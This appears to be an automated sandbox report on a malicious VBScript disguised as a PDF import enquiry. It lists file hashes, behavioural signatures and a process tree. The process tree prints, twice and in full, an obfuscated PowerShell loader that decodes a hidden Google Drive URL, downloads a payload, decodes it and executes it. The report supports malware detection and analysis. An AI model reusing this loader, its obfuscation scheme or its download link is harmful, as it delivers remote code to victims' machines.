Analysis
-
max time kernel
93s -
max time network
117s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 18:39
Static task
static1
Behavioral task
behavioral1
Sample
CANKO DMC IMPORT ENQUIRY.PDF.vbs
Resource
win7-20240319-en
Behavioral task
behavioral2
Sample
CANKO DMC IMPORT ENQUIRY.PDF.vbs
Resource
win10v2004-20240226-en
General
-
Target
CANKO DMC IMPORT ENQUIRY.PDF.vbs
-
Size
37KB
-
MD5
f502e10ed6fe68f3ae7ab8dc21d85905
-
SHA1
c5f150a8ad65c02818b317202bc0b4c885d681a6
-
SHA256
8b7c5d53812ea0abfc73d680313417506ce8cdf6476604829f74e1c62775dac4
-
SHA512
e676b0c0974339cebbe6f4e0ce4e0a33aefde01588af7cc20c7ae6be11b8467da271a7496c8e37245ff7c523dbabbf3de3d9831318127b9dbc98987d84a4930e
-
SSDEEP
768:u0agBVh4WAZGc8NnKwiQRP1Ugmj8VeuwRwHv8:hwqNnKwJDLVmRP
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 5060 2812 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 4200 powershell.exe 4200 powershell.exe 2812 powershell.exe 2812 powershell.exe 2812 powershell.exe 2812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4200 powershell.exe Token: SeDebugPrivilege 2812 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 1396 wrote to memory of 4200 1396 WScript.exe powershell.exe PID 1396 wrote to memory of 4200 1396 WScript.exe powershell.exe PID 4200 wrote to memory of 5112 4200 powershell.exe cmd.exe PID 4200 wrote to memory of 5112 4200 powershell.exe cmd.exe PID 4200 wrote to memory of 2812 4200 powershell.exe powershell.exe PID 4200 wrote to memory of 2812 4200 powershell.exe powershell.exe PID 4200 wrote to memory of 2812 4200 powershell.exe powershell.exe PID 2812 wrote to memory of 3760 2812 powershell.exe cmd.exe PID 2812 wrote to memory of 3760 2812 powershell.exe cmd.exe PID 2812 wrote to memory of 3760 2812 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CANKO DMC IMPORT ENQUIRY.PDF.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Varslinger Restordres Maidly Levendegre Mandarining Goatherds Phobophobia #>;$tilbageholdelse=(cmd /c set /A 115^^0);Function Uncommiserating ([String]$Lobolos){$Milano41=[char][int]$tilbageholdelse+'ubstring';$Uddeliges=8;$Snorebroderier=Raadsvampen($Lobolos);For($Stttevokalerne=7; $Stttevokalerne -lt $Snorebroderier; $Stttevokalerne+=$Uddeliges){$Enterogenous=$Lobolos.$Milano41.Invoke($Stttevokalerne, 1);$Agapetid=$Agapetid+$Enterogenous;}$Agapetid;}function Taintless208 ($Sarcogenic){& ($Nedgange) ($Sarcogenic);}function Raadsvampen ([String]$Illdisposedness){$Nervus=$Illdisposedness.Length-1;$Nervus;}$Paperful=Uncommiserating 'TjeneriTStramajrSaarenda cr,nionnedsle sUtil.adfLutes eePraisefrilluminrAccompainaturaln Svabr,gTiecl,s ';$Gullyhole=Uncommiserating 'Re.amplhDaglejetCouthestLu,kingpF verwosagerste:Ninthse/.rydens/omlastedmulctatr Kobberi IdetagvDissidee Wholel. DiversgP.ammenoIm,lemeoFradraggGennemflRecr.oneTrac.in.RegerincHjertesotempyohmLibrney/Volatilu,ndistrcRrhnerh?TilsnegeFel.togxAnnishvpTv ngsaoBalancerNarkotitKraftv.=Underexd Pro.oko Cynophw W negrncryogenl.octiluo Kurbasa Laryn.dAlmsmen& Misknoi ,elegrd Forure=Matlock1TelescoYBasisco4SkrmindI lancclYLividne2Staahejy vi ualWCiceron4Cudbrnd0 fi.dleebul,las5decempldSrgetog6stuntmaNUnmummiKSydafriTKlumreduSoldiseHOverpolxperiproqL,rrainoSugge tqRengri,yGl,veunP Ort opGU managpQuagg.sTk.ratosFKa.ikatrAfdryppA F,ankeMprunellI Jequir ';$Nedgange=Uncommiserating 'KlemhagiHelliggeJanitr,xEnhedsv ';$Funktionsdygtige=Uncommiserating ' Sho.ji$Gl ssargUntrimml happenoRombepobQuamsubaCappi,rlBambus.:Untre,dSSamfundkFremhveavandpaam rierfolBefolkneAns.arsncarpetb2Le itat8Decel.r ret.rde= freyj emimoSStrafratSlotsafaSydafrirFornyertTallinj-KitosflBTrem.stiSplotchtKulackfsOstindiTBestormrTilgodeaForciblnHyssingsFabriksfAxo etreFranzisr Sw nge ufologi- CidernSFortegno,ephalouDiscontrUgt,skecBiop,ageMa,jong Bygsukk$Thixo rGA,ndigeuWind urlA.reveslfrysep,yFlanke.h ArchduoIdentitl MorgeneU,signi Brndehu-PugendeDHjemvi e ForkrosBrkr.gntFi regniShakyamnFalkeneaJun iertLitter,i sykopaoHindbrbnGoblini Tin.oid$SidelinAObelialf StaklalringbryaVicomteg BesttetIndeh.veMa.sakr ';Taintless208 (Uncommiserating 'barnes,$Ex ressg BalanclCowpe,boFolkemabD,llemeaAfb,ndelRupit c:GynecolAInspherf nthrallbraendeaMoronesg Overgat Ci,ylieSellcle= Gradat$.latykueNynorsknReumativNdtrf e:Defamatacletchspasmindep Espresd A,cyonaRedismitBaetyluagrsenke ') ;Taintless208 (Uncommiserating 'SensomrIForstanmTra sispGulmohaoMilvagor DescantUpsweep-MandoraM ForfrioSyrupp.dSymmorpuDecertalPrecioueOutstun OsasfisBGoutsafiN urogetPiratudsStet.seT orantorDumbbela RegistnSpicigesVrdighefEndo.ite Triumfr Bran h ') ;$Aflagte=$Aflagte+'\Bernoullian.Tam' ;Taintless208 (Uncommiserating 'Skorste$ScrofulgjeblikslEgestiooBejledebSelvmedaAmperenlExplo t:PrediviNAerodynuByttestlPartiediExacerbnTrafiket IconomePaiockerseksaa,vSurrealaCobbledlResund,losculabeCine atrF.rbjersOa.land=Acetoni(Ud.ivenTFac,nereGeophilsContract Unique- FloretPFamletgaAntip.rt Mldtcah Fungal Urokses$EdsformAingeldafR glowslKronpriaU.mystigFehaarstSmaatoseStonker)Affilia ') ;while (-not $Nulintervallers) {Taintless208 (Uncommiserating 'GalgebaITvrdrivfBa.dune whisker(.utineo$CyanensSdaf iesk Persona.enshermLakkesflfiredobeBrandmunMilieuv2Syda,er8Diammon.Kunds aJ HellenohemiopibStberneSOgdenmutAlm.eskaEftersptT,ansiteG,mnasi Fang,no-VelkomseEdulcorqNonreta R,with$AstrogeP Form eaTi hngep Ceremoe tolkerr PulverfIndvikluVoldelilTappema)Filsema Eftermo{KairoliSAntireltBowlereaTvedelirAsbkbrutPrinter-Galeo.eS SolleglT,mpereePardry ePreconspSpectre S,lvest1 Jalous}Betaline Vvenecl Deco.ts DogmateSvi.ese{GretesuSComm ndt,dedessa EmirerrHorsefitinf,cti-Aghach.SSpurveflOfficereYmtrekae GenesipAmicab, lissofl1 Ganoid;R.sinweT Si.keraCordilli,ocialinUnd.tritSkabertl Diffeoe SmeltesFolklorsBesmykk2Inte,re0For,kni8Whipsta Betoner$to,vtidFSikkerhu gunkyfnReolpl kBl frditJinxes iconductoAnsk.elnBordskas H,rquedVedko,my U.applgstrdem.tPon.icuiInnoxiogMari imeRelands}proboul ');Taintless208 (Uncommiserating 'r.erhis$RealistgStngteslIlleradoKontra bP.tternaTes,atrlAri,met:HinkestNBrilliauOverw.elTri,sviiInvestonkolonnetBlank ve befordrStrugglv Snowbla Virk,klInbreatl kamgareRibbensrPierrotsMu,tist=Barneal(N.dfrysTKrushaaeActinoms Toonsat Opgang-TegnstnPAlbatioa Pycnomt UdstdnhKinooc, Gyrites$ AllottAnikotinf GangsmlUndert a tomuheg F,itsttBlyro.eeRedeals)Acutanc ') ;}Taintless208 (Uncommiserating 'uns,mpa$Indretng g.bberlFerskenohuffingbSema,tiaAutohyplVulgari:AfgudstNStrrelso Tylvtenfjletcusreasseme SndagsnRach.fosMultimaoPhenethrOvermatyKopifun Saunder=Sygeple FrasalgGA mersceD,isatotW arish-EksponeCRelateroPosningn So.schtNoviluneH,postanGrnnegatClavuvi Licite.$ S dagsAOptatiof GrssellNonsalea provengNonp.lst Jury,eeFiskesn ');Taintless208 (Uncommiserating 'Visio,e$stejlhegkinlesslflowedvo UdsaetbAfsendeaSva,erslHydroc.:FejdedeTHemadroy ilbagerR adyrkoSpytkrll Fre,haemi isterMuscovahInowerfa AtmolytBrusetat BiscuieUltraspnLoernekeLatte,ls Vinqui Superfu= Feedba t,ykfar[.ilstrbSothelloy HorntasInitialtdiolef.evrdibremKlema,i.Flu,plaCSaml vsodrudespn Arb jdvNedskrieExplicarB.nresjtBoswell] Nonthe:Su,cina:d.scernF eddahurSofficeo olkeflmKarnevaBStrafc apermitnsDiscontePeris a6N,zamba4ReceptiSBotchedtTvangs.rFootl niQuarreln ColombgP nctua(Bagakse$AbmhoslNSelvretoLampropnSkalrttsPosttraeSanitasnKamenessWeigelao Augustr.arveprySmaatin)Unw,ede ');Taintless208 (Uncommiserating 'Leastge$ UnnuzzgDags eflUnactivobronto,b DuplikaMistouclJorramu:NormaliT sam,leeext.rmikUngoversCoronett SendtssRebeho,tTosser.uPjaskenmAfproevp Cary.te RgrertrBlissennAce.ylie,abicuvsPeridid Normal=Betuske S,abber[ bea,naSDivaricySjlevansConfirmtFastlaneWatertimgrun,er.RepositTSlogesje FamilixTaarnurtUnrheto.Wirily.EK.nstgdnTaktregcJose.hiosemi,isd AttritiEns ndenTrummelgNonnour]Aftersh:Ekspos :GrnskolARef,rtiSSpolia CSpagettIClientlIBoerens.AbirritGKodernee gonistamoraf.STrissentDopingsrBarlowfiu.litign FingergFor.rak(Goldfis$RuddieeT BearsmyInviterrtouris oS,otsmal Forskne SkolderCoen,tyhdiasramaLicitert.gandantstemmele MensurnflyverseMoonlitsAfkorte)N,nstor ');Taintless208 (Uncommiserating 'Valgned$ PartitgAfpresslMorphi,oPa.ruljbAlk licaSolar,elPelargo:avocatiR ArtfuluSydamerb EuryaliSedimenn panskeTarkaninSouthers Presse=R.nnash$SkriverTRe,letieudsmuglkN.vendisScalepatMutedlysBeatleatMellemauF,metagmMiddelhpLogicbueFljmndmrLydolffnBelem ee hogaprsRigdomm.UndetessBimpleruUnitterbUb.skaasXylogratTheodosrSudaneriTrffelsnCom,onegblandin( studi,3Bowlerh2Misaddr1Breb ge2 Borts 4Leucoto9Todimen,Nonsecr3 Isoler0Moneysb9 H stol5Antilet1Fodbold)Vagabon ');Taintless208 $Rubinens;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Varslinger Restordres Maidly Levendegre Mandarining Goatherds Phobophobia #>;$tilbageholdelse=(cmd /c set /A 115^^0);Function Uncommiserating ([String]$Lobolos){$Milano41=[char][int]$tilbageholdelse+'ubstring';$Uddeliges=8;$Snorebroderier=Raadsvampen($Lobolos);For($Stttevokalerne=7; $Stttevokalerne -lt $Snorebroderier; $Stttevokalerne+=$Uddeliges){$Enterogenous=$Lobolos.$Milano41.Invoke($Stttevokalerne, 1);$Agapetid=$Agapetid+$Enterogenous;}$Agapetid;}function Taintless208 ($Sarcogenic){& ($Nedgange) ($Sarcogenic);}function Raadsvampen ([String]$Illdisposedness){$Nervus=$Illdisposedness.Length-1;$Nervus;}$Paperful=Uncommiserating 'TjeneriTStramajrSaarenda cr,nionnedsle sUtil.adfLutes eePraisefrilluminrAccompainaturaln Svabr,gTiecl,s ';$Gullyhole=Uncommiserating 'Re.amplhDaglejetCouthestLu,kingpF verwosagerste:Ninthse/.rydens/omlastedmulctatr Kobberi IdetagvDissidee Wholel. DiversgP.ammenoIm,lemeoFradraggGennemflRecr.oneTrac.in.RegerincHjertesotempyohmLibrney/Volatilu,ndistrcRrhnerh?TilsnegeFel.togxAnnishvpTv ngsaoBalancerNarkotitKraftv.=Underexd Pro.oko Cynophw W negrncryogenl.octiluo Kurbasa Laryn.dAlmsmen& Misknoi ,elegrd Forure=Matlock1TelescoYBasisco4SkrmindI lancclYLividne2Staahejy vi ualWCiceron4Cudbrnd0 fi.dleebul,las5decempldSrgetog6stuntmaNUnmummiKSydafriTKlumreduSoldiseHOverpolxperiproqL,rrainoSugge tqRengri,yGl,veunP Ort opGU managpQuagg.sTk.ratosFKa.ikatrAfdryppA F,ankeMprunellI Jequir ';$Nedgange=Uncommiserating 'KlemhagiHelliggeJanitr,xEnhedsv ';$Funktionsdygtige=Uncommiserating ' Sho.ji$Gl ssargUntrimml happenoRombepobQuamsubaCappi,rlBambus.:Untre,dSSamfundkFremhveavandpaam rierfolBefolkneAns.arsncarpetb2Le itat8Decel.r ret.rde= freyj emimoSStrafratSlotsafaSydafrirFornyertTallinj-KitosflBTrem.stiSplotchtKulackfsOstindiTBestormrTilgodeaForciblnHyssingsFabriksfAxo etreFranzisr Sw nge ufologi- CidernSFortegno,ephalouDiscontrUgt,skecBiop,ageMa,jong Bygsukk$Thixo rGA,ndigeuWind urlA.reveslfrysep,yFlanke.h ArchduoIdentitl MorgeneU,signi Brndehu-PugendeDHjemvi e ForkrosBrkr.gntFi regniShakyamnFalkeneaJun iertLitter,i sykopaoHindbrbnGoblini Tin.oid$SidelinAObelialf StaklalringbryaVicomteg BesttetIndeh.veMa.sakr ';Taintless208 (Uncommiserating 'barnes,$Ex ressg BalanclCowpe,boFolkemabD,llemeaAfb,ndelRupit c:GynecolAInspherf nthrallbraendeaMoronesg Overgat Ci,ylieSellcle= Gradat$.latykueNynorsknReumativNdtrf e:Defamatacletchspasmindep Espresd A,cyonaRedismitBaetyluagrsenke ') ;Taintless208 (Uncommiserating 'SensomrIForstanmTra sispGulmohaoMilvagor DescantUpsweep-MandoraM ForfrioSyrupp.dSymmorpuDecertalPrecioueOutstun OsasfisBGoutsafiN urogetPiratudsStet.seT orantorDumbbela RegistnSpicigesVrdighefEndo.ite Triumfr Bran h ') ;$Aflagte=$Aflagte+'\Bernoullian.Tam' ;Taintless208 (Uncommiserating 'Skorste$ScrofulgjeblikslEgestiooBejledebSelvmedaAmperenlExplo t:PrediviNAerodynuByttestlPartiediExacerbnTrafiket IconomePaiockerseksaa,vSurrealaCobbledlResund,losculabeCine atrF.rbjersOa.land=Acetoni(Ud.ivenTFac,nereGeophilsContract Unique- FloretPFamletgaAntip.rt Mldtcah Fungal Urokses$EdsformAingeldafR glowslKronpriaU.mystigFehaarstSmaatoseStonker)Affilia ') ;while (-not $Nulintervallers) {Taintless208 (Uncommiserating 'GalgebaITvrdrivfBa.dune whisker(.utineo$CyanensSdaf iesk Persona.enshermLakkesflfiredobeBrandmunMilieuv2Syda,er8Diammon.Kunds aJ HellenohemiopibStberneSOgdenmutAlm.eskaEftersptT,ansiteG,mnasi Fang,no-VelkomseEdulcorqNonreta R,with$AstrogeP Form eaTi hngep Ceremoe tolkerr PulverfIndvikluVoldelilTappema)Filsema Eftermo{KairoliSAntireltBowlereaTvedelirAsbkbrutPrinter-Galeo.eS SolleglT,mpereePardry ePreconspSpectre S,lvest1 Jalous}Betaline Vvenecl Deco.ts DogmateSvi.ese{GretesuSComm ndt,dedessa EmirerrHorsefitinf,cti-Aghach.SSpurveflOfficereYmtrekae GenesipAmicab, lissofl1 Ganoid;R.sinweT Si.keraCordilli,ocialinUnd.tritSkabertl Diffeoe SmeltesFolklorsBesmykk2Inte,re0For,kni8Whipsta Betoner$to,vtidFSikkerhu gunkyfnReolpl kBl frditJinxes iconductoAnsk.elnBordskas H,rquedVedko,my U.applgstrdem.tPon.icuiInnoxiogMari imeRelands}proboul ');Taintless208 (Uncommiserating 'r.erhis$RealistgStngteslIlleradoKontra bP.tternaTes,atrlAri,met:HinkestNBrilliauOverw.elTri,sviiInvestonkolonnetBlank ve befordrStrugglv Snowbla Virk,klInbreatl kamgareRibbensrPierrotsMu,tist=Barneal(N.dfrysTKrushaaeActinoms Toonsat Opgang-TegnstnPAlbatioa Pycnomt UdstdnhKinooc, Gyrites$ AllottAnikotinf GangsmlUndert a tomuheg F,itsttBlyro.eeRedeals)Acutanc ') ;}Taintless208 (Uncommiserating 'uns,mpa$Indretng g.bberlFerskenohuffingbSema,tiaAutohyplVulgari:AfgudstNStrrelso Tylvtenfjletcusreasseme SndagsnRach.fosMultimaoPhenethrOvermatyKopifun Saunder=Sygeple FrasalgGA mersceD,isatotW arish-EksponeCRelateroPosningn So.schtNoviluneH,postanGrnnegatClavuvi Licite.$ S dagsAOptatiof GrssellNonsalea provengNonp.lst Jury,eeFiskesn ');Taintless208 (Uncommiserating 'Visio,e$stejlhegkinlesslflowedvo UdsaetbAfsendeaSva,erslHydroc.:FejdedeTHemadroy ilbagerR adyrkoSpytkrll Fre,haemi isterMuscovahInowerfa AtmolytBrusetat BiscuieUltraspnLoernekeLatte,ls Vinqui Superfu= Feedba t,ykfar[.ilstrbSothelloy HorntasInitialtdiolef.evrdibremKlema,i.Flu,plaCSaml vsodrudespn Arb jdvNedskrieExplicarB.nresjtBoswell] Nonthe:Su,cina:d.scernF eddahurSofficeo olkeflmKarnevaBStrafc apermitnsDiscontePeris a6N,zamba4ReceptiSBotchedtTvangs.rFootl niQuarreln ColombgP nctua(Bagakse$AbmhoslNSelvretoLampropnSkalrttsPosttraeSanitasnKamenessWeigelao Augustr.arveprySmaatin)Unw,ede ');Taintless208 (Uncommiserating 'Leastge$ UnnuzzgDags eflUnactivobronto,b DuplikaMistouclJorramu:NormaliT sam,leeext.rmikUngoversCoronett SendtssRebeho,tTosser.uPjaskenmAfproevp Cary.te RgrertrBlissennAce.ylie,abicuvsPeridid Normal=Betuske S,abber[ bea,naSDivaricySjlevansConfirmtFastlaneWatertimgrun,er.RepositTSlogesje FamilixTaarnurtUnrheto.Wirily.EK.nstgdnTaktregcJose.hiosemi,isd AttritiEns ndenTrummelgNonnour]Aftersh:Ekspos :GrnskolARef,rtiSSpolia CSpagettIClientlIBoerens.AbirritGKodernee gonistamoraf.STrissentDopingsrBarlowfiu.litign FingergFor.rak(Goldfis$RuddieeT BearsmyInviterrtouris oS,otsmal Forskne SkolderCoen,tyhdiasramaLicitert.gandantstemmele MensurnflyverseMoonlitsAfkorte)N,nstor ');Taintless208 (Uncommiserating 'Valgned$ PartitgAfpresslMorphi,oPa.ruljbAlk licaSolar,elPelargo:avocatiR ArtfuluSydamerb EuryaliSedimenn panskeTarkaninSouthers Presse=R.nnash$SkriverTRe,letieudsmuglkN.vendisScalepatMutedlysBeatleatMellemauF,metagmMiddelhpLogicbueFljmndmrLydolffnBelem ee hogaprsRigdomm.UndetessBimpleruUnitterbUb.skaasXylogratTheodosrSudaneriTrffelsnCom,onegblandin( studi,3Bowlerh2Misaddr1Breb ge2 Borts 4Leucoto9Todimen,Nonsecr3 Isoler0Moneysb9 H stol5Antilet1Fodbold)Vagabon ');Taintless208 $Rubinens;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2812 -s 24644⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2812 -ip 28121⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hx0dglu2.ndt.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2812-38-0x00000000068F0000-0x000000000690A000-memory.dmpFilesize
104KB
-
memory/2812-37-0x0000000007B50000-0x00000000081CA000-memory.dmpFilesize
6.5MB
-
memory/2812-21-0x0000000004E50000-0x0000000004E60000-memory.dmpFilesize
64KB
-
memory/2812-44-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/2812-22-0x0000000005450000-0x0000000005472000-memory.dmpFilesize
136KB
-
memory/2812-42-0x0000000007790000-0x00000000077B2000-memory.dmpFilesize
136KB
-
memory/2812-41-0x0000000008780000-0x0000000008D24000-memory.dmpFilesize
5.6MB
-
memory/2812-40-0x0000000007520000-0x0000000007542000-memory.dmpFilesize
136KB
-
memory/2812-17-0x0000000004D90000-0x0000000004DC6000-memory.dmpFilesize
216KB
-
memory/2812-19-0x0000000005490000-0x0000000005AB8000-memory.dmpFilesize
6.2MB
-
memory/2812-18-0x0000000074700000-0x0000000074EB0000-memory.dmpFilesize
7.7MB
-
memory/2812-20-0x0000000004E50000-0x0000000004E60000-memory.dmpFilesize
64KB
-
memory/2812-39-0x0000000007570000-0x0000000007606000-memory.dmpFilesize
600KB
-
memory/2812-43-0x00000000077F0000-0x0000000007804000-memory.dmpFilesize
80KB
-
memory/2812-36-0x0000000006330000-0x000000000637C000-memory.dmpFilesize
304KB
-
memory/2812-24-0x0000000005D10000-0x0000000005D76000-memory.dmpFilesize
408KB
-
memory/2812-30-0x0000000005D80000-0x00000000060D4000-memory.dmpFilesize
3.3MB
-
memory/2812-35-0x0000000006310000-0x000000000632E000-memory.dmpFilesize
120KB
-
memory/2812-23-0x0000000005C30000-0x0000000005C96000-memory.dmpFilesize
408KB
-
memory/4200-6-0x00007FF8AE380000-0x00007FF8AEE41000-memory.dmpFilesize
10.8MB
-
memory/4200-0-0x000002A59EA90000-0x000002A59EAB2000-memory.dmpFilesize
136KB
-
memory/4200-47-0x00007FF8AE380000-0x00007FF8AEE41000-memory.dmpFilesize
10.8MB
-
memory/4200-16-0x000002A585E40000-0x000002A585E50000-memory.dmpFilesize
64KB
-
memory/4200-15-0x000002A585E40000-0x000002A585E50000-memory.dmpFilesize
64KB
-
memory/4200-14-0x000002A59EFE0000-0x000002A59EFF4000-memory.dmpFilesize
80KB
-
memory/4200-13-0x000002A59EE20000-0x000002A59EE46000-memory.dmpFilesize
152KB
-
memory/4200-12-0x000002A585E40000-0x000002A585E50000-memory.dmpFilesize
64KB
-
memory/4200-11-0x000002A585E40000-0x000002A585E50000-memory.dmpFilesize
64KB